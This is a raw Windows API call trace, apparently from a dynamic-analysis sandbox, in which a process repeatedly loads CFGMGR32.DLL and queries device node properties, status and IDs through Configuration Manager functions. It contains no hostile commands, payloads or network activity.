GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.397] malloc (_Size=0x18) returned 0x196ef0d1da0 [0190.398] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.405] malloc (_Size=0x48) returned 0x196ef0fbd10 [0190.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52576e36, dwHighDateTime=0x1d9eb0c)) [0190.406] SetEvent (hEvent=0x248) returned 1 [0190.408] SetEvent (hEvent=0x248) returned 1 [0190.408] free (_Block=0x196ef0fbd10) [0190.408] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.409] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0190.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5259c47d, dwHighDateTime=0x1d9eb0c)) [0190.409] SetEvent (hEvent=0x248) returned 1 [0190.411] SetEvent (hEvent=0x248) returned 1 [0190.411] free (_Block=0x196ef0fb5e0) [0190.411] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.412] malloc (_Size=0x48) returned 0x196ef0fbc20 [0190.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5259c47d, dwHighDateTime=0x1d9eb0c)) [0190.412] SetEvent (hEvent=0x248) returned 1 [0190.414] SetEvent (hEvent=0x248) returned 1 [0190.415] free (_Block=0x196ef0fbc20) [0190.415] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.415] malloc (_Size=0x48) returned 0x196ef0fbf90 [0190.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5259c47d, dwHighDateTime=0x1d9eb0c)) [0190.416] SetEvent (hEvent=0x248) returned 1 [0190.421] SetEvent (hEvent=0x248) returned 1 [0190.421] free (_Block=0x196ef0fbf90) [0190.422] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.591] malloc (_Size=0x48) returned 0x196ef0fb810 [0190.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5273fec9, dwHighDateTime=0x1d9eb0c)) [0190.591] SetEvent (hEvent=0x248) returned 1 [0190.597] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.607] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0190.608] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x27, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0190.608] malloc (_Size=0x48) returned 0x196ef0fb270 [0190.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x52766332, dwHighDateTime=0x1d9eb0c)) [0190.609] SetEvent (hEvent=0x248) returned 1 [0190.618] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.618] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.618] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.619] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.623] malloc (_Size=0x18) returned 0x196ef0d1d60 [0190.623] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x27, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0190.623] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0190.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5278c64b, dwHighDateTime=0x1d9eb0c)) [0190.623] SetEvent (hEvent=0x248) returned 1 [0190.627] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.628] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.628] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.628] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.628] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.628] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.629] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.631] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0190.631] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0190.631] malloc (_Size=0x48) returned 0x196ef0fb680 [0190.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x527b26ee, dwHighDateTime=0x1d9eb0c)) [0190.632] SetEvent (hEvent=0x248) returned 1 [0190.746] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.746] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.746] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.748] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.749] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.749] malloc (_Size=0x18) returned 0x196ef0d1980 [0190.749] CM_Get_Device_IDA (in: dnDevInst=0x28, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\RADIO\\{3DB5895D-CC28-44B3-AD3D-6F01A782B8D2}") returned 0x0 [0190.749] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0190.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x528bdc9c, dwHighDateTime=0x1d9eb0c)) [0190.750] SetEvent (hEvent=0x248) returned 1 [0190.753] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.753] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.756] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0190.756] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0190.756] malloc (_Size=0x48) returned 0x196ef0fba40 [0190.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x528e39a7, dwHighDateTime=0x1d9eb0c)) [0190.756] SetEvent (hEvent=0x248) returned 1 [0190.759] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.759] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.762] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0190.762] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0190.762] malloc (_Size=0x38) returned 0x196ef0d1550 [0190.762] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1550, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1550, pulLength=0x67117d608) returned 0x0 [0190.762] free (_Block=0x196ef0d1550) [0190.763] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0190.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x528e39a7, dwHighDateTime=0x1d9eb0c)) [0190.763] SetEvent (hEvent=0x248) returned 1 [0190.765] malloc (_Size=0x18) returned 0x196ef0d1d20 [0190.765] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0190.765] free (_Block=0x196ef0d1d20) [0190.765] malloc (_Size=0x18) returned 0x196ef0d1e00 [0190.765] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0190.765] free (_Block=0x196ef0d1e00) [0190.765] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856360 [0190.765] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0190.765] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0190.766] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0190.766] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6500 [0190.766] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0190.766] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0190.766] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0190.766] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0190.766] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.766] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.767] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6500) returned 1 